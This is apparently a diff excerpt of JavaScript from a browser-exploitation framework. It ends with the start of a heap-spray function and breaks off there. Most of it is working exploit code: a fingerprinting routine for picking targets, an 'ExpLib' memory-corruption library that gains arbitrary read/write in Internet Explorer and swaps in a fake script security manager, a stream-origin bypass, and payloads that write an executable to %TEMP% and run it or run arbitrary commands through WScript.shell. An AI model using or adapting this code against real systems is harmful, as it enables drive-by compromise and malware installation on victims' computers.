// IE 8.0.6001.18702, XP Professional SP3 English
|
||||
case "5822960":
|
||||
// IE 8.0.6001.18702, XP Professional SP3 Greek
|
||||
ua_version = "8.0";
|
||||
os_name = "Windows XP";
|
||||
os_sp = "SP3";
|
||||
break;
|
||||
case "9016406":
|
||||
// IE 9.0.7930.16406, Windows 7 64-bit
|
||||
ua_version = "9.0";
|
||||
os_name = "Windows 7";
|
||||
os_sp = "SP0";
|
||||
break;
|
||||
case "9016441":
|
||||
// IE 9.0.8112.16421, Windows 7 32-bit English
|
||||
ua_version = "9.0";
|
||||
os_name = "Windows 7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016443":
|
||||
// IE 9.0.8112.16421, Windows 7 Polish
|
||||
// Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
|
||||
ua_version = "9.0";
|
||||
os_name = "Windows 7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016446":
|
||||
// IE 9.0.8112.16421, Windows 7 English (Update Versions: 9.0.7 (KB2699988)
|
||||
// Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2)Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MASA; InfoPath.3; MS-RTC LM 8; BRI/2)
|
||||
ua_version = "9.0";
|
||||
os_name = "Windows 7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016464":
|
||||
// browsershots.org, MSIE 7.0 / Windows 2008 R2
|
||||
os_name = "Windows 2008 R2";
|
||||
ua_version = "9.0";
|
||||
break;
|
||||
case "9016470":
|
||||
// IE 9.0.8112.16421 / Windows 7 SP1
|
||||
ua_version = "9.0";
|
||||
os_name = "Windows 7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016502":
|
||||
// IE 9.0.8112.16502 / Windows 7 SP1
|
||||
ua_version = "9.0";
|
||||
os_name = "Windows 7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016506":
|
||||
// IE 9.0.8112.16506 / Windows 7 SP1
|
||||
ua_version = "9.0";
|
||||
os_name = "Windows 7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016514":
|
||||
// IE 9.0.8112.16514 / Windows 7 SP1
|
||||
ua_version = "9.0";
|
||||
os_name = "Windows 7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016520":
|
||||
// IE 9.0.8112.16520 / Windows 7 SP1
|
||||
ua_version = "9.0";
|
||||
os_name = "Windows 7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016526":
|
||||
// IE 9.0.8112.16526 / Windows 7 SP1
|
||||
ua_version = "9.0";
|
||||
os_name = "Windows 7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016533":
|
||||
// IE 9.0.8112.16533 / Windows 7 SP1
|
||||
ua_version = "9.0";
|
||||
os_name = "Windows 7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "10016720":
|
||||
// IE 10.0.9200.16721 / Windows 7 SP1
|
||||
ua_version = "10.0";
|
||||
os_name = "Windows 7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "11016428":
|
||||
// IE 11.0.9600.16428 / Windows 7 SP1
|
||||
ua_version = "11.0";
|
||||
os_name = "Windows 7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "10016384":
|
||||
// IE 10.0.9200.16384 / Windows 8 x86
|
||||
ua_version = "10.0";
|
||||
os_name = "Windows 8";
|
||||
os_sp = "SP0";
|
||||
break;
|
||||
case "11016426":
|
||||
// IE 11.0.9600.16476 / KB2898785 (Technically: 11.0.2) Windows 8.1 x86 English
|
||||
ua_version = "11.0";
|
||||
os_name = "Windows 8.1";
|
||||
break;
|
||||
case "1000":
|
||||
// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
|
||||
ua_version = "10.0";
|
||||
os_name = "Windows 8";
|
||||
os_sp = "SP0";
|
||||
break;
|
||||
case "1100":
|
||||
// IE 11.0.10011.0 Windows 10.0 (Build 10074) English - insider preview
|
||||
ua_version = "11.0";
|
||||
os_name = "Windows 10";
|
||||
os_sp = "SP0";
|
||||
break;
|
||||
default:
|
||||
unknown_fingerprint = version;
|
||||
break;
|
||||
}
|
||||
|
||||
if (!ua_version) {
|
||||
// The ScriptEngine functions failed us, try some object detection
|
||||
if (document.documentElement && (typeof document.documentElement.style.maxHeight)!="undefined") {
|
||||
// IE 11 detection, see: http://msdn.microsoft.com/en-us/library/ie/bg182625(v=vs.85).aspx
|
||||
try {
|
||||
if (document.__proto__ != undefined) { ua_version = "11.0"; }
|
||||
} catch (e) {}
|
||||
|
||||
// IE 10 detection using nodeName
|
||||
if (!ua_version) {
|
||||
try {
|
||||
var badNode = document.createElement && document.createElement("badname");
|
||||
if (badNode && badNode.nodeName === "BADNAME") { ua_version = "10.0"; }
|
||||
} catch(e) {}
|
||||
}
|
||||
|
||||
// IE 9 detection based on a "Object doesn't support property or method" error
|
||||
if (!ua_version) {
|
||||
try {
|
||||
document.BADNAME();
|
||||
} catch(e) {
|
||||
if (e.message.indexOf("BADNAME") > 0) {
|
||||
ua_version = "9.0";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// IE8 detection straight from IEBlog. Thank you Microsoft.
|
||||
if (!ua_version) {
|
||||
try {
|
||||
ua_version = "8.0";
|
||||
document.documentElement.style.display = "table-cell";
|
||||
} catch(e) {
|
||||
// This executes in IE7,
|
||||
// but not IE8, regardless of mode
|
||||
ua_version = "7.0";
|
||||
}
|
||||
}
|
||||
} else if (document.compatMode) {
|
||||
ua_version = "6.0";
|
||||
} else if (window.createPopup) {
|
||||
ua_version = "5.5";
|
||||
} else if (window.attachEvent) {
|
||||
ua_version = "5.0";
|
||||
} else {
|
||||
ua_version = "4.0";
|
||||
}
|
||||
switch (navigator.appMinorVersion){
|
||||
case ";SP2;":
|
||||
os_sp = "SP2";
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!os_name && navigator.platform == "Win32") { os_name = oses_windows; }
|
||||
|
||||
//--
|
||||
// Figure out the type of Windows
|
||||
//--
|
||||
if (!ua_is_lying) {
|
||||
version = useragent.toLowerCase();
|
||||
} else if (navigator.oscpu) {
|
||||
// Then this is Gecko and we can get at least os_name without the
|
||||
// useragent
|
||||
version = navigator.oscpu.toLowerCase();
|
||||
} else {
|
||||
// All we have left is the useragent and we know it's lying, so don't bother
|
||||
version = " ";
|
||||
}
|
||||
if (!os_name || 0 == os_name.length) {
|
||||
if (version.indexOf("windows") != -1) { os_name = oses_windows; }
|
||||
else if (version.indexOf("mac") != -1) { os_name = oses_mac_osx; }
|
||||
else if (version.indexOf("linux") != -1) { os_name = oses_linux; }
|
||||
}
|
||||
if (os_name == oses_windows) {
|
||||
if (version.indexOf("windows 95") != -1) { os_name = "Windows 95"; }
|
||||
else if (version.indexOf("windows nt 4") != -1) { os_name = "Windows NT"; }
|
||||
else if (version.indexOf("win 9x 4.9") != -1) { os_name = "Windows ME"; }
|
||||
else if (version.indexOf("windows 98") != -1) { os_name = "Windows 98"; }
|
||||
else if (version.indexOf("windows nt 5.0") != -1) { os_name = "Windows 2000"; }
|
||||
else if (version.indexOf("windows nt 5.1") != -1) { os_name = "Windows XP"; }
|
||||
else if (version.indexOf("windows nt 5.2") != -1) { os_name = "Windows 2003"; }
|
||||
else if (version.indexOf("windows nt 6.0") != -1) { os_name = "Windows Vista"; }
|
||||
else if (version.indexOf("windows nt 6.1") != -1) { os_name = "Windows 7"; }
|
||||
else if (version.indexOf("windows nt 6.2") != -1) { os_name = "Windows 8"; }
|
||||
else if (version.indexOf("windows nt 6.3") != -1) { os_name = "Windows 8.1"; }
|
||||
}
|
||||
if (os_name == oses_linux && (!os_vendor || 0 == os_vendor.length)) {
|
||||
if (version.indexOf("gentoo") != -1) { os_vendor = "Gentoo"; }
|
||||
else if (version.indexOf("ubuntu") != -1) { os_vendor = "Ubuntu"; }
|
||||
else if (version.indexOf("debian") != -1) { os_vendor = "Debian"; }
|
||||
else if (version.indexOf("rhel") != -1) { os_vendor = "RHEL"; }
|
||||
else if (version.indexOf("red hat") != -1) { os_vendor = "RHEL"; }
|
||||
else if (version.indexOf("centos") != -1) { os_vendor = "CentOS"; }
|
||||
else if (version.indexOf("fedora") != -1) { os_vendor = "Fedora"; }
|
||||
else if (version.indexOf("android") != -1) { os_vendor = "Android"; }
|
||||
}
|
||||
|
||||
//--
|
||||
// Language
|
||||
//--
|
||||
if (navigator.systemLanguage) {
|
||||
// ie
|
||||
os_lang = navigator.systemLanguage;
|
||||
} else if (navigator.language) {
|
||||
// gecko derivatives, safari, opera
|
||||
os_lang = navigator.language;
|
||||
} else {
|
||||
// some other browser and we don't know how to get the language, so
|
||||
// just guess english
|
||||
os_lang = "en";
|
||||
}
|
||||
|
||||
//--
|
||||
// Architecture
|
||||
//--
|
||||
if (typeof(navigator.cpuClass) != 'undefined') {
|
||||
// Then this is IE or Opera9+ and we can grab the arch directly
|
||||
switch (navigator.cpuClass) {
|
||||
case "x86":
|
||||
arch = arch_x86;
|
||||
break;
|
||||
case "x64":
|
||||
arch = arch_x86_64;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!arch || 0 == arch.length) {
|
||||
// We don't have the handy-dandy navagator.cpuClass, so infer from
|
||||
// platform
|
||||
version = navigator.platform;
|
||||
//document.write(version + "\\n");
|
||||
// IE 8 does a bit of wacky user-agent switching for "Compatibility View";
|
||||
// 64-bit client on Windows 7, 64-bit:
|
||||
// Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)
|
||||
// 32-bit client on Windows 7, 64-bit:
|
||||
// Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)
|
||||
// 32-bit client on Vista, 32-bit, "Compatibility View":
|
||||
// Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)
|
||||
//
|
||||
// Report 32-bit client on 64-bit OS as being 32 because exploits will
|
||||
// need to know the bittedness of the process, not the OS.
|
||||
if ( ("Win32" == version) || (version.match(/i.86/)) ) {
|
||||
arch = arch_x86;
|
||||
} else if (-1 != version.indexOf('x64') || (-1 != version.indexOf('x86_64'))) {
|
||||
arch = arch_x86_64;
|
||||
} else if (-1 != version.indexOf('PPC')) {
|
||||
arch = arch_ppc;
|
||||
}
|
||||
}
|
||||
|
||||
this.ua_is_lying = ua_is_lying;
|
||||
this.os_name = os_name;
|
||||
this.os_vendor = os_vendor;
|
||||
this.os_flavor = os_flavor;
|
||||
this.os_device = os_device;
|
||||
this.os_sp = os_sp;
|
||||
this.os_lang = os_lang;
|
||||
this.arch = arch;
|
||||
this.ua_name = ua_name;
|
||||
this.ua_version = ua_version;
|
||||
this.ua_version = ua_version;
|
||||
|
||||
return { os_name:os_name, os_vendor:os_vendor, os_flavor:os_flavor, os_device:os_device, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version };
|
||||
}; // function getVersion
|
||||
|
||||
os_detect.searchVersion = function(needle, haystack) {
|
||||
var index = haystack.indexOf(needle);
|
||||
var found_version;
|
||||
if (index == -1) { return; }
|
||||
found_version = haystack.substring(index+needle.length+1);
|
||||
if (found_version.indexOf(' ') != -1) {
|
||||
// Strip off any junk at the end such as a CLR declaration
|
||||
found_version = found_version.substring(0,found_version.indexOf(' '));
|
||||
}
|
||||
return found_version;
|
||||
};
|
||||
|
||||
|
||||
/*
|
||||
* Return -1 if a < b, 0 if a == b, 1 if a > b
|
||||
*/
|
||||
ua_ver_cmp = function(ver_a, ver_b) {
|
||||
// shortcut the easy case
|
||||
if (ver_a == ver_b) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
a = ver_a.split(".");
|
||||
b = ver_b.split(".");
|
||||
for (var i = 0; i < Math.max(a.length, b.length); i++) {
|
||||
// 3.0 == 3
|
||||
if (!b[i]) { b[i] = "0"; }
|
||||
if (!a[i]) { a[i] = "0"; }
|
||||
|
||||
if (a[i] == b[i]) { continue; }
|
||||
|
||||
a_int = parseInt(a[i]);
|
||||
b_int = parseInt(b[i]);
|
||||
a_rest = a[i].substr(a_int.toString().length);
|
||||
b_rest = b[i].substr(b_int.toString().length);
|
||||
if (a_int < b_int) {
|
||||
return -1;
|
||||
} else if (a_int > b_int) {
|
||||
return 1;
|
||||
} else { // ==
|
||||
// Then we need to deal with the stuff after the ints, e.g.:
|
||||
// "b4pre"
|
||||
if (a_rest == "b" && b_rest.length == 0) {
|
||||
return -1;
|
||||
}
|
||||
if (b_rest == "b" && a_rest.length == 0) {
|
||||
return 1;
|
||||
}
|
||||
// Just give up and try a lexicographical comparison
|
||||
if (a_rest < b_rest) {
|
||||
return -1;
|
||||
} else if (a_rest > b_rest) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
// If we get here, they must be equal
|
||||
return 0;
|
||||
};
|
||||
|
||||
ua_ver_lt = function(a, b) {
|
||||
if (-1 == this.ua_ver_cmp(a,b)) { return true; }
|
||||
return false;
|
||||
};
|
||||
ua_ver_gt = function(a, b) {
|
||||
if (1 == this.ua_ver_cmp(a,b)) { return true; }
|
||||
return false;
|
||||
};
|
||||
ua_ver_eq = function(a, b) {
|
||||
if (0 == this.ua_ver_cmp(a,b)) { return true; }
|
||||
return false;
|
||||
};
|
|
@ -0,0 +1,426 @@
|
|||
|
||||
|
||||
ExpLib = (function() {
|
||||
|
||||
function ExpLib( num_arrays, arr_size, base, payload ) {
|
||||
this.arr1 = null;
|
||||
this.arr2 = null;
|
||||
this.base = base;
|
||||
this.arr_size = arr_size;
|
||||
this.arr_arr = null;
|
||||
// Allows to control the contents of the sprayed memory.
|
||||
// Have into account some array positions will be corrupted
|
||||
// while leaking and modifying things.
|
||||
this.arr_contents = [];
|
||||
|
||||
this.payload = payload;
|
||||
this.modules = {}
|
||||
this.getproc = null;
|
||||
this.loadlibrary = null;
|
||||
|
||||
// Offset to the Origin URL in the Stream, modifying it
|
||||
// allows to bypass msado15.SecurityCheck(), allowing
|
||||
// for example to write stream contents to filesystem.
|
||||
this.stream_origin = 0x44;
|
||||
}
|
||||
|
||||
ExpLib.prototype.resolveAPI = function( modulename, procname ) {
|
||||
var module = this.resolveModule( modulename );
|
||||
|
||||
return this.callAPI( this.getproc, module, this.allocateString(procname) );
|
||||
}
|
||||
|
||||
ExpLib.prototype.resolveModule = function( modulename ) {
|
||||
if ( this.modules[modulename] )
|
||||
return this.modules[modulename];
|
||||
|
||||
var module = this.callAPI( this.loadlibrary, this.allocateString(modulename) );
|
||||
this.modules[modulename] = module;
|
||||
return module;
|
||||
}
|
||||
|
||||
ExpLib.prototype.spray = function() {
|
||||
this.arr_arr = new Array( num_arrays );
|
||||
|
||||
var decl = "[";
|
||||
|
||||
for ( var i = 0; i < this.arr_size - 1; ++ i ) {
|
||||
decl += '0,';
|
||||
}
|
||||
|
||||
decl += '0';
|
||||
decl += ']';
|
||||
|
||||
for ( var i = 0; i < num_arrays; ++ i ) {
|
||||
this.arr_arr[i] = eval(decl);
|
||||
for(var j = 0; j < this.arr_contents.length; j++) {
|
||||
this.arr_arr[i][j] = this.arr_contents[j];
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Should be used before calling spray()
|
||||
ExpLib.prototype.setArrContents = function(contents) {
|
||||
for(var i = 0; i < this.arr_size && i < contents.length; i++) {
|
||||
this.arr_contents[i] = contents[i];
|
||||
}
|
||||
}
|
||||
|
||||
ExpLib.prototype.setValue = function(i1, i2, v) {
|
||||
this.arr_arr[i1][i2] = v;
|
||||
}
|
||||
|
||||
|
||||
ExpLib.prototype.setValueByAddr = function(index, addr, v) {
|
||||
this.arr_arr[index][((addr % 0x1000) - 0x20) / 4] = v;
|
||||
}
|
||||
|
||||
ExpLib.prototype.read32 = function(addr) {
|
||||
if ( addr % 4 ) {
|
||||
// error
|
||||
}
|
||||
|
||||
if ( addr >= this.arr2_member_base ) {
|
||||
return this.arr2[(addr - this.arr2_member_base)/4];
|
||||
} else {
|
||||
return this.arr2[0x40000000 - (this.arr2_member_base - addr)/4]
|
||||
}
|
||||
}
|
||||
|
||||
ExpLib.prototype.write32 = function(addr, value) {
|
||||
if ( addr % 4 ) {
|
||||
// error
|
||||
}
|
||||
|
||||
if ( value >= 0x80000000 )
|
||||
value = -(0x100000000 - value);
|
||||
|
||||
//alert(((addr - this.arr2_member_base)/4).toString(16));
|
||||
if ( addr >= this.arr2_member_base ) {
|
||||
this.arr2[(addr - this.arr2_member_base)/4] = value;
|
||||
} else {
|
||||
this.arr2[0x40000000 - (this.arr2_member_base - addr) / 4] = value;
|
||||
}
|
||||
}
|
||||
|
||||
ExpLib.prototype.read8 = function(addr) {
|
||||
var value = this.read32( addr & 0xfffffffc );
|
||||
switch ( addr % 4 ) {
|
||||
case 0: return (value & 0xff);
|
||||
case 1: return ((value >> 8) & 0xff);
|
||||
case 2: return ((value >> 16) & 0xff);
|
||||
case 3: return ((value >> 24) & 0xff);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
ExpLib.prototype.write8 = function(addr, value) {
|
||||
var original_value = this.read32( addr & 0xfffffffc );
|
||||
var new_value;
|
||||
|
||||
switch ( addr % 4 ) {
|
||||
case 0:
|
||||
new_value = (original_value & 0xffffff00) | (value & 0xff);
|
||||
break;
|
||||
|
||||
case 1:
|
||||
new_value = (original_value & 0xffff00ff) | ((value & 0xff) << 8);
|
||||
break;
|
||||
case 2:
|
||||
new_value = (original_value & 0xff00ffff) | ((value & 0xff) << 16);
|
||||
break;
|
||||
case 3:
|
||||
new_value = (original_value & 0x00ffffff) | ((value & 0xff) << 24);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
this.write32( addr & 0xfffffffc, new_value );
|
||||
}
|
||||
|
||||
|
||||
ExpLib.prototype.writeBytes = function(addr, bytes) {
|
||||
for ( var i = 0; i + 3 < bytes.length; i += 4 ) {
|
||||
var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) |
|
||||
((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24);
|
||||
|
||||
this.write32( addr + i, value );
|
||||
}
|
||||
|
||||
for ( ; i < bytes.length; ++ i ) {
|
||||
this.write8( addr + i, bytes[i] );
|
||||
}
|
||||
}
|
||||
|
||||
ExpLib.prototype.writeString = function(addr, s) {
|
||||
var bytes = [];
|
||||
var i = 0;
|
||||
for ( ; i < s.length; ++ i ) {
|
||||
bytes[i] = s.charCodeAt(i);
|
||||
}
|
||||
|
||||
bytes[i] = 0;
|
||||
|
||||
this.writeBytes( addr, bytes );
|
||||
}
|
||||
|
||||
ExpLib.prototype.writeStringW = function(addr, s) {
|
||||
var bytes = [];
|
||||
var i = 0;
|
||||
for ( ; i < s.length; ++i ) {
|
||||
bytes[i * 2] = s.charCodeAt(i);
|
||||
bytes[i * 2 + 1] = 0;
|
||||
}
|
||||
|
||||
bytes[s.length * 2] = 0;
|
||||
bytes[s.length * 2 + 1] = 0;
|
||||
|
||||
this.writeBytes( addr, bytes );
|
||||
}
|
||||
|
||||
ExpLib.prototype.read16 = function(addr) {
|
||||
if ( addr % 2 ) {
|
||||
// error, not aligned
|
||||
}
|
||||
|
||||
var value = this.read32( addr & 0xfffffffc );
|
||||
switch ( addr % 4 ) {
|
||||
case 0: return (value & 0xffff);
|
||||
case 1: return ((value >> 8) & 0xffff);
|
||||
case 2: return ((value >> 16) & 0xffff);
|
||||
case 3: /*not supported*/ break;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
ExpLib.prototype.strequal = function(addr, s) {
|
||||
for ( var i = 0; i < s.length; ++ i ) {
|
||||
if ( this.read8(addr + i) != s.charCodeAt(i) )
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
ExpLib.prototype.getModuleBase = function(addr) {
|
||||
|
||||
var cur_addr = addr;
|
||||
|
||||
while ( cur_addr > 0 ) {
|
||||
|
||||
if ( (this.read32(cur_addr) & 0xffff) == 0x5a4d ) {
|
||||
return cur_addr;
|
||||
}
|
||||
|
||||
cur_addr -= 0x10000;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
ExpLib.prototype.getModuleBaseFromIAT = function(base, name) {
|
||||
var import_table = base + this.read32( base + this.read32(base + 0x3c) + 0x80 );
|
||||
var cur_table = import_table;
|
||||
|
||||
while ( cur_table < import_table + 0x1000 ) {
|
||||
|
||||
var name_addr = base + this.read32(cur_table + 12);
|
||||
if ( this.strequal( name_addr, name ) ) {
|
||||
var iat = base + this.read32(cur_table + 16);
|
||||
var func = this.read32(iat);
|
||||
while ( 0 == func ) {
|
||||
iat += 4;
|
||||
func = this.read32(iat);
|
||||
}
|
||||
|
||||
return this.getModuleBase( func & 0xFFFF0000 );
|
||||
|
||||
}
|
||||
|
||||
cur_table += 20;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
ExpLib.prototype.getProcAddress = function(base, procname) {
|
||||
var export_table = base + this.read32( base + this.read32(base + 0x3c) + 0x78 );
|
||||
var num_functions = this.read32( export_table + 20 );
|
||||
var addr_functions = base + this.read32( export_table + 28 );
|
||||
var addr_names = base + this.read32( export_table + 32 );
|
||||
var addr_ordinals = base + this.read32( export_table + 36 );
|
||||
|
||||
for ( var i = 0; i < num_functions; ++ i ) {
|
||||
var name_addr = this.read32( addr_names + i * 4 ) + base;
|
||||
if ( this.strequal( name_addr, procname ) ) {
|
||||
var ordinal = this.read16( addr_ordinals + i * 2 );
|
||||
var result = this.read32( addr_functions + ordinal * 4 ) + base;
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
ExpLib.prototype.searchBytes = function(pattern, start, end) {
|
||||
|
||||
if ( start >= end || start + pattern.length > end )
|
||||
return 0;
|
||||
|
||||
var pos = start;
|
||||
while ( pos < end ) {
|
||||
for ( var i = 0; i < pattern.length; ++ i ) {
|
||||
if ( this.read8(pos + i) != pattern[i] )
|
||||
break;
|
||||
}
|
||||
|
||||
if ( i == pattern.length ) {
|
||||
return pos;
|
||||
}
|
||||
|
||||
++ pos;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
ExpLib.prototype.getError = function(msg) {
|
||||
return this.err_msg;
|
||||
}
|
||||
|
||||
ExpLib.prototype.setError = function(msg) {
|
||||
this.err_msg = msg;
|
||||
}
|
||||
|
||||
ExpLib.prototype.setStreamOrigin = function(offset) {
|
||||
this.stream_origin = offset;
|
||||
}
|
||||
|
||||
ExpLib.prototype.getStreamOrigin = function() {
|
||||
return this.stream_origin;
|
||||
}
|
||||
|
||||
ExpLib.prototype.memcpy = function(dst, src, size) {
|
||||
var i = 0;
|
||||
for ( ; i < size - 4; i += 4 ) {
|
||||
this.write32( dst + i, this.read32(src + i) );
|
||||
}
|
||||
|
||||
for ( ; i < size; ++ i ) {
|
||||
this.write8( dst + i, this.read8(src + i) );
|
||||
}
|
||||
}
|
||||
|
||||
ExpLib.prototype.go = function() {
|
||||
|
||||
var i = 0;
|
||||
|
||||
|
||||
|
||||
for ( ; i < this.arr_arr.length - 1; ++ i ) {
|
||||
this.arr_arr[i][this.arr_size + 0x1c / 4] = 0;
|
||||
|
||||
if ( this.arr_arr[i][this.arr_size + 0x18 / 4] == this.arr_size ) {
|
||||
this.arr_arr[i][this.arr_size + 0x14 / 4] = 0x3fffffff;
|
||||
this.arr_arr[i][this.arr_size + 0x18 / 4] = 0x3fffffff;
|
||||
|
||||
this.arr_arr[i + 1].length = 0x3fffffff;
|
||||
|
||||
if ( this.arr_arr[i+1].length == 0x3fffffff ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if ( i >= this.arr_arr.length - 1 ) {
|
||||
this.setError( "Cannot find array with corrupt length!" );
|
||||
return false;
|
||||
}
|
||||
|
||||
this.arr1_idx = i;
|
||||
this.arr2_idx = i + 1;
|
||||
|
||||
this.arr1 = this.arr_arr[i];
|
||||
this.arr2 = this.arr_arr[i + 1];
|
||||
|
||||
this.arr2_base = this.base + 0x1000;
|
||||
this.arr2_member_base = this.arr2_base + 0x20;
|
||||
|
||||
var func_addr = this.leakAddress(ActiveXObject);
|
||||
var script_engine_addr = this.read32(this.read32(func_addr + 0x1c) + 4);
|
||||
|
||||
//alert(script_engine_addr.toString(16));
|
||||
|
||||
var original_securitymanager = this.read32( script_engine_addr + 0x21c );
|
||||
if ( !original_securitymanager ) {
|
||||
// let security manager to be valid
|
||||
try {
|
||||
var WshShell = new ActiveXObject("WScript.shell");
|
||||
} catch (e) {}
|
||||
|
||||
original_securitymanager = this.read32( script_engine_addr + 0x21c );
|
||||
}
|
||||
|
||||
var original_securitymanager_vtable = this.read32(original_securitymanager);
|
||||
var securitymanager_size = 0x28;
|
||||
var fake_securitymanager = 0x1a1b2010;
|
||||
var fake_securitymanager_vtable = fake_securitymanager + 0x28;
|
||||
//alert(original_securitymanager.toString(16));
|
||||
|
||||
this.memcpy( fake_securitymanager, original_securitymanager, securitymanager_size );
|
||||
this.memcpy( fake_securitymanager_vtable, original_securitymanager_vtable, 0x70 );
|
||||
this.write32( fake_securitymanager, fake_securitymanager_vtable );
|
||||
this.write32(script_engine_addr + 0x21c, fake_securitymanager);
|
||||
|
||||
var jscript9_base = this.getModuleBase( this.read32(script_engine_addr) & 0xffff0000 );
|
||||
var jscript9_code_start = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x104);
|
||||
var jscript9_code_end = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x108);
|
||||
|
||||
|
||||
this.write32( fake_securitymanager_vtable + 0x14,
|
||||
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 8; */
|
||||
|
||||
this.write32( fake_securitymanager_vtable + 0x10,
|
||||
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 4; */
|
||||
|
||||
this.payload.execute(this);
|
||||
|
||||
|
||||
/*
|
||||
* restore
|
||||
*/
|
||||
|
||||
this.write32( script_engine_addr + 0x21c, original_securitymanager );
|
||||
|
||||
return true;
|
||||
|
||||
}
|
||||
|
||||
ExpLib.prototype.leakAddress = function(obj) {
|
||||
this.arr_arr[this.arr2_idx + 1][2] = obj;
|
||||
return this.read32(this.arr2_member_base + 0x1008);
|
||||
}
|
||||
|
||||
ExpLib.prototype.switchStreamOrigin = function(stream) {
|
||||
var obj = this.leakAddress(stream);
|
||||
var stream_obj = this.read32(obj + 0x30);
|
||||
//var url_addr = this.read32(stream_obj + 0x3c);
|
||||
var url_addr = this.read32(stream_obj + this.stream_origin);
|
||||
|
||||
/*
|
||||
* bypass domain check
|
||||
*/
|
||||
this.writeStringW( url_addr, 'file:///C:/1.htm' );
|
||||
}
|
||||
|
||||
return ExpLib;
|
||||
|
||||
})();
|
|
@ -0,0 +1,33 @@
|
|||
function payload_drop_exec(pe) {
|
||||
|
||||
this.execute = function(explib) {
|
||||
|
||||
var WshShell = new ActiveXObject("WScript.shell");
|
||||
var temp = WshShell.ExpandEnvironmentStrings("%TEMP%");
|
||||
var filename = temp + "\\a.exe";
|
||||
|
||||
var bStream = new ActiveXObject("ADODB.Stream");
|
||||
var txtStream = new ActiveXObject("ADODB.Stream");
|
||||
bStream.Type = 1;
|
||||
txtStream.Type = 2;
|
||||
|
||||
bStream.Open();
|
||||
txtStream.Open();
|
||||
|
||||
explib.switchStreamOrigin(txtStream);
|
||||
|
||||
txtStream.WriteText(pe);
|
||||
txtStream.Position = 2;
|
||||
txtStream.CopyTo( bStream );
|
||||
txtStream.Close();
|
||||
|
||||
explib.switchStreamOrigin(bStream);
|
||||
|
||||
bStream.SaveToFile(filename, 2);
|
||||
bStream.Close();
|
||||
|
||||
oExec = WshShell.Exec(filename);
|
||||
}
|
||||
|
||||
return this;
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
function payload_exec(cmd) {
|
||||
|
||||
this.execute = function(explib) {
|
||||
|
||||
var WshShell = new ActiveXObject("WScript.shell");
|
||||
var oExec = WshShell.Exec(cmd);
|
||||
}
|
||||
|
||||
return this;
|
||||
}
|
|
@ -0,0 +1,17 @@
|
|||
var memory = new Array();
|
||||
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
|
||||
var index;
|
||||
var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
|
||||
var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
|
||||
while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
|
||||
while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
|
||||
|
||||
var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
|
||||
while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
|
